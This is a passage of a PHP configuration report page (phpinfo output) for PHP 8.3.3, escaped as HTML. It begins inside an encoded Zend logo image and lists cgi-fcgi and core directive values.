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" alt="Zend logo" /&gt;&lt;/a&gt;
This program makes use of the Zend Scripting Language Engine:&lt;br /&gt;Zend Engine v4.3.3, Copyright (c) Zend Technologies
&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h1&gt;Configuration&lt;/h1&gt;
&lt;h2&gt;&lt;a name="module_cgi-fcgi" href="#module_cgi-fcgi"&gt;cgi-fcgi&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Directive&lt;/th&gt;&lt;th&gt;Local Value&lt;/th&gt;&lt;th&gt;Master Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;cgi.check_shebang_line&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;cgi.discard_path&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;cgi.fix_pathinfo&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;cgi.force_redirect&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;cgi.nph&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;cgi.redirect_status_env&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;cgi.rfc2616_headers&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;fastcgi.logging&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;&lt;a name="module_core" href="#module_core"&gt;Core&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP Version &lt;/td&gt;&lt;td class="v"&gt;8.3.3 &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Directive&lt;/th&gt;&lt;th&gt;Local Value&lt;/th&gt;&lt;th&gt;Master Value&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;allow_url_fopen&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;allow_url_include&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;arg_separator.input&lt;/td&gt;&lt;td class="v"&gt;&amp;amp;&lt;/td&gt;&lt;td class="v"&gt;&amp;amp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;arg_separator.output&lt;/td&gt;&lt;td class="v"&gt;&amp;amp;&lt;/td&gt;&lt;td class="v"&gt;&amp;amp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;auto_append_file&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;auto_globals_jit&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;auto_prepend_file&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;browscap&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;default_charset&lt;/td&gt;&lt;td class="v"&gt;UTF-8&lt;/td&gt;&lt;td class="v"&gt;UTF-8&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;default_mimetype&lt;/td&gt;&lt;td class="v"&gt;text/html&lt;/td&gt;&lt;td class="v"&gt;text/html&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;disable_classes&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;disable_functions&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;display_errors&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;display_startup_errors&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;doc_root&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;docref_ext&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;docref_root&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;enable_dl&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;enable_post_data_reading&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;error_append_string&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;error_log&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;error_log_mode&lt;/td&gt;&lt;td class="v"&gt;0644&lt;/td&gt;&lt;td class="v"&gt;0644&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;error_prepend_string&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;error_reporting&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;expose_php&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;extension_dir&lt;/td&gt;&lt;td class="v"&gt;/usr/local/lib/php/extensions/no-debug-non-zts-20230831&lt;/td&gt;&lt;td class="v"&gt;/usr/local/lib/php/extensions/no-debug-non-zts-20230831&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;fiber.stack_size&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;file_uploads&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;hard_timeout&lt;/td&gt;&lt;td class="v"&gt;2&lt;/td&gt;&lt;td class="v"&gt;2&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;highlight.comment&lt;/td&gt;&lt;td class="v"&gt;&lt;font style="color: #FF8000"&gt;#FF8000&lt;/font&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;font style="color: #FF8000"&gt;#FF8000&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;highlight.default&lt;/td&gt;&lt;td class="v"&gt;&lt;font style="color: #0000BB"&gt;#0000BB&lt;/font&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;font style="color: #0000BB"&gt;#0000BB&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;highlight.html&lt;/td&gt;&lt;td class="v"&gt;&lt;font style="color: #000000"&gt;#000000&lt;/font&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;font style="color: #000000"&gt;#000000&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;highlight.keyword&lt;/td&gt;&lt;td class="v"&gt;&lt;font style="color: #007700"&gt;#007700&lt;/font&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;font style="color: #007700"&gt;#007700&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;highlight.string&lt;/td&gt;&lt;td class="v"&gt;&lt;font style="color: #DD0000"&gt;#DD0000&lt;/font&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;font style="color: #DD0000"&gt;#DD0000&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;html_errors&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;ignore_repeated_errors&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;ignore_repeated_source&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;ignore_user_abort&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;implicit_flush&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;include_path&lt;/td&gt;&lt;td class="v"&gt;.:/usr/local/lib/php&lt;/td&gt;&lt;td class="v"&gt;.:/usr/local/lib/php&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;input_encoding&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;internal_encoding&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;log_errors&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;mail.add_x_header&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;mail.force_extra_parameters&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;mail.log&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;mail.mixed_lf_and_crlf&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;max_execution_time&lt;/td&gt;&lt;td class="v"&gt;30&lt;/td&gt;&lt;td class="v"&gt;30&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;max_file_uploads&lt;/td&gt;&lt;td class="v"&gt;20&lt;/td&gt;&lt;td class="v"&gt;20&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;max_input_nesting_level&lt;/td&gt;&lt;td class="v"&gt;64&lt;/td&gt;&lt;td class="v"&gt;64&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;max_input_time&lt;/td&gt;&lt;td class="v"&gt;-1&lt;/td&gt;&lt;td class="v"&gt;-1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;max_input_vars&lt;/td&gt;&lt;td class="v"&gt;1000&lt;/td&gt;&lt;td class="v"&gt;1000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;max_multipart_body_parts&lt;/td&gt;&lt;td class="v"&gt;-1&lt;/td&gt;&lt;td class="v"&gt;-1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;memory_limit&lt;/td&gt;&lt;td class="v"&gt;128M&lt;/td&gt;&lt;td class="v"&gt;128M&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;open_basedir&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;output_buffering&lt;/td&gt;&lt;td class="v"&gt;0&lt;/td&gt;&lt;td class="v"&gt;0&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;output_encoding&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;output_handler&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;post_max_size&lt;/td&gt;&lt;td class="v"&gt;8M&lt;/td&gt;&lt;td class="v"&gt;8M&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;precision&lt;/td&gt;&lt;td class="v"&gt;14&lt;/td&gt;&lt;td class="v"&gt;14&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;realpath_cache_size&lt;/td&gt;&lt;td class="v"&gt;4096K&lt;/td&gt;&lt;td class="v"&gt;4096K&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;realpath_cache_ttl&lt;/td&gt;&lt;td class="v"&gt;120&lt;/td&gt;&lt;td class="v"&gt;120&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;register_argc_argv&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;report_memleaks&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;report_zend_debug&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;td class="v"&gt;Off&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;request_order&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;sendmail_from&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;sendmail_path&lt;/td&gt;&lt;td class="v"&gt;/usr/sbin/sendmail -t -i&lt;/td&gt;&lt;td class="v"&gt;/usr/sbin/sendmail -t -i&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;serialize_precision&lt;/td&gt;&lt;td class="v"&gt;-1&lt;/td&gt;&lt;td class="v"&gt;-1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;short_open_tag&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;td class="v"&gt;On&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;SMTP&lt;/td&gt;&lt;td class="v"&gt;localhost&lt;/td&gt;&lt;td class="v"&gt;localhost&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;smtp_port&lt;/td&gt;&lt;td class="v"&gt;25&lt;/td&gt;&lt;td class="v"&gt;25&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;sys_temp_dir&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;syslog.facility&lt;/td&gt;&lt;td class="v"&gt;LOG_USER&lt;/td&gt;&lt;td class="v"&gt;LOG_USER&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;syslog.filter&lt;/td&gt;&lt;td class="v"&gt;no-ctrl&lt;/td&gt;&lt;td class="v"&gt;no-ctrl&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;syslog.ident&lt;/td&gt;&lt;td class="v"&gt;php&lt;/td&gt;&lt;td class="v"&gt;php&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;unserialize_callback_func&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;upload_max_filesize&lt;/td&gt;&lt;td class="v"&gt;2M&lt;/td&gt;&lt;td class="v"&gt;2M&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;upload_tmp_dir&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;user_dir&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;user_ini.cache_ttl&lt;/td&gt;&lt;td class="v"&gt;300&lt;/td&gt;&lt;td class="v"&gt;300&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;user_ini.filename&lt;/td&gt;&lt;td class="v"&gt;.user.ini&lt;/td&gt;&lt;td class="v"&gt;.user.ini&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;variables_order&lt;/td&gt;&lt;td class="v"&gt;EGPCS&lt;/td&gt;&lt;td class="v"&gt;EGPCS&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;xmlrpc_error_number&lt;/td&gt;&lt;td class="v"&gt;0&lt;/td&gt;&lt;td class="v"&gt;0&lt;/td&gt;&lt;/tr&gt;
